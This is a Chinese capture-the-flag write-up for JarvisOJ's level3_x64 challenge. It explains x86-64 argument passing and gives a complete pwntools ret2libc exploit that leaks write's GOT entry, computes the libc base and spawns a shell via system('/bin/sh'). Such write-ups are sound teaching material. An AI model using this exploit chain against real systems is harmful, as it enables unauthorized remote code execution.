题目信息
nc pwn2.jarvisoj.com 9883
Hint1: 本题附件已更新,请大家重新下载以免影响解题。
level3_x64.rar.8c74c402b190ac3fbef5a9ae540c40de
64位elf,只开了NX,并且给出了libc文件
静态分析
IDA F5,首先看elf文件,和level3一样,明显的溢出,但程序中没有直接的system和”/bin/sh”
给出的libc文件中有这两个
那么思路就和level3类似,leak之后计算地址,执行system
区别同样只在于32位和64位的栈上
在32位程序运行中,函数参数直接压入栈中
- 调用函数时栈的结构为:调用函数地址->函数的返回地址->参数n->参数n-1->···->参数1
在64位程序运行中,参数传递需要寄存器
- 64位参数传递约定:前六个参数按顺序存储在寄存器rdi, rsi, rdx, rcx, r8, r9中
- 参数超过六个时,从第七个开始压入栈中
exploit
构造exp
- write函数三个参数,需要rdi,rsi和rdx
- system函数只需要rdi即可
ROPgadget查找可用gadget:
存在pop rdi和rsi的gadget,但没有rdx
在write函数中,rdx即第三个参数为长度,第二个参数是一个内存地址,64位系统下长度为8,那么如果rdx在这个时候大于等于8的话就不需要去刻意处理
使用gdb简单调试,发现执行完read后的rdx为0x200,满足条件,那么就不需要去考虑rdx
构造exp代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| from pwn import *
elf = ELF('./level3_x64') libc = ELF('./libc-2.19.so')
sh = remote('pwn2.jarvisoj.com', 9883)
context.arch = 'amd64'
write_plt = elf.plt["write"] write_got = elf.got["write"] vuln_func = elf.symbols["vulnerable_function"] write_libc = libc.symbols["write"] sys_libc = libc.symbols["system"] bin_sh_libc = libc.search("/bin/sh").next() pop_rdi = 0x00000000004006b3 pop_rsi_r15 = 0x00000000004006b1
payload1 = 'A' * 0x88
payload1 += p64(pop_rdi) + p64(1)
payload1 += p64(pop_rsi_r15) + p64(write_got) + p64(0xdeadbeef) payload1 += p64(write_plt) + p64(vuln_func)
sh.recvline() sh.sendline(payload1)
write_addr = u64(sh.recv(8)) libc_base = write_addr - write_libc sys_addr = libc_base + sys_libc bin_sh_addr = libc_base + bin_sh_libc
payload2 = 'A' * 0x88
payload2 += p64(pop_rdi) + p64(bin_sh_addr) payload2 += p64(sys_addr) + p64(vuln_func)
sh.sendline(payload2) sh.interactive()
|
getflag
Last updated:
水平不济整日被虐这也不会那也得学,脑子太蠢天天垫底这看不懂那学不会